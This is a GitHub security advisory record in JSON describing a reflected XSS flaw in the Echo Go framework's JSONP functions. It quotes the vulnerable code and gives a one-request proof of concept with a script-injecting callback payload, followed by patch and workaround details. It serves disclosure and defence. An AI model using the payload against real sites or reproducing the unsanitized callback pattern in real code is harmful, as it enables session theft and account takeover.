{"id":"GHSA-h9g5-28mm-hx3g","summary":"Echo vulnerable to Reflected Cross-Site Scripting (XSS) via unsanitized JSONP callback in Context.JSONP / Context.JSONPBlob","details":"### Summary\n\nThe `Context.JSONP`, `Context.JSONPBlob`, and internal `jsonPBlob` helper in `context.go` directly concatenate the caller-supplied `callback` parameter into a JavaScript response **without any validation, escaping, or allow-listing**.  \n\nThis creates a high-impact **reflected XSS** that can be triggered by any route passing attacker-controlled data (query string, form, header, path param, etc.) into the callback.\n\n**Present in current master and v5.1.0 (latest release).**\n\n### Vulnerable Code (verbatim)\n\n```go\nfunc (c *Context) jsonPBlob(code int, callback string, i any) (err error) {\n\tc.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)\n\tc.response.WriteHeader(code)\n\tif _, err = c.response.Write([]byte(callback + \"(\")); err != nil {\n\t\treturn\n\t}\n\tif err = c.echo.JSONSerializer.Serialize(c, i, \"\"); err != nil {\n\t\treturn\n\t}\n\tif _, err = c.response.Write([]byte(\");\")); err != nil {\n\t\treturn\n\t}\n\treturn\n}\n\nfunc (c *Context) JSONP(code int, callback string, i any) (err error) {\n\treturn c.jsonPBlob(code, callback, i)\n}\n\nfunc (c *Context) JSONPBlob(code int, callback string, b []byte) (err error) {\n\tc.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)\n\tc.response.WriteHeader(code)\n\tif _, err = c.response.Write([]byte(callback + \"(\")); err != nil {\n\t\treturn\n\t}\n\tif _, err = c.response.Write(b); err != nil {\n\t\treturn\n\t}\n\t_, err = c.response.Write([]byte(\");\"))\n\treturn\n}\n```\nNo sanitization is performed on the callback string.\n\n### Exploit (one-request repro)\nAny route using the official pattern is vulnerable:\n```\nGoe.GET(\"/api\", func(c echo.Context) error {\n    return c.JSONP(200, c.QueryParam(\"callback\"), map[string]string{\"status\": \"ok\"})\n})\n```\nAttacker request:\n```\nGET /api?callback=alert(document.domain)%2f%2f HTTP/1.1\nHost: target.com\n```\nServer response:\n```\nContent-Type: application/javascript; charset=utf-8\n\nalert(document.domain)//({\"status\":\"ok\"});\n```\n→ Immediate arbitrary JavaScript execution (full reflected XSS).\n### Impact\n\n- Session hijacking, cookie theft, account takeover, keylogging, defacement.\n- Works even with strict CSP (response is served as application/javascript).\n\n#### Affected Versions\n\n- All versions ≤ v5.1.0 (including current master)\n\n#### Workarounds\nManually sanitize the callback before calling JSONP/JSONPBlob:\n```\nGofunc safeCallback(cb string) string {\n    if matched, _ := regexp.MatchString(`^[a-zA-Z0-9_.\\[\\]]+$`, cb); !matched {\n        return \"callback\"\n    }\n    return cb\n}\n```\nOr migrate away from JSONP entirely (use CORS + application/json).\n### References\n\n- https://github.com/labstack/echo/blob/master/context.go\n- https://echo.labstack.com/docs/cookbook/jsonp\n\n## Patches\n\nFixed in `github.com/labstack/echo/v5` v5.4.0 and `github.com/labstack/echo/v4` v4.16.0. `Context.JSONP` and `Context.JSONPBlob` accept only a callback that is empty, a JavaScript identifier or a dot-separated path of identifiers (ASCII letters, digits, `_` and `$`); any other callback returns a 400 Bad Request error wrapping `ErrInvalidJSONPCallback` and nothing is written. JSONP responses also carry `X-Content-Type-Options: nosniff`.\n\n## Workarounds\n\nValidate the callback in your handler before calling `Context.JSONP`, for example against `^[A-Za-z_$][A-Za-z0-9_$]*(\\.[A-Za-z_$][A-Za-z0-9_$]*)*$`, and set `X-Content-Type-Options: nosniff`. JSONP responses can be read by any website with the user's cookies, so do not serve data that requires authentication through JSONP.","aliases":["CVE-2026-118652"],"modified":"2026-10-28T20:15:05.451169812Z","published":"2026-10-28T19:54:05Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-79"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-28T19:54:05Z"},"references":[{"type":"WEB","url":"https://github.com/labstack/echo/security/advisories/GHSA-h9g5-28mm-hx3g"},{"type":"WEB","url":"https://github.com/labstack/echo/commit/b838391e2eade87ae7e5a09d7bb5087bec271ec1"},{"type":"WEB","url":"https://github.com/labstack/echo/commit/fc410094b2f3415cf2bf5204082137b205bfd5af"},{"type":"PACKAGE","url":"https://github.com/labstack/echo"},{"type":"WEB","url":"https://github.com/labstack/echo/releases/tag/v4.16.0"},{"type":"WEB","url":"https://github.com/labstack/echo/releases/tag/v5.4.0"}],"affected":[{"package":{"name":"github.com/labstack/echo/v5","ecosystem":"Go","purl":"pkg:golang/github.com/labstack/echo/v5"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.4.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-h9g5-28mm-hx3g/GHSA-h9g5-28mm-hx3g.json"}},{"package":{"name":"github.com/labstack/echo/v4","ecosystem":"Go","purl":"pkg:golang/github.com/labstack/echo/v4"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-h9g5-28mm-hx3g/GHSA-h9g5-28mm-hx3g.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}]}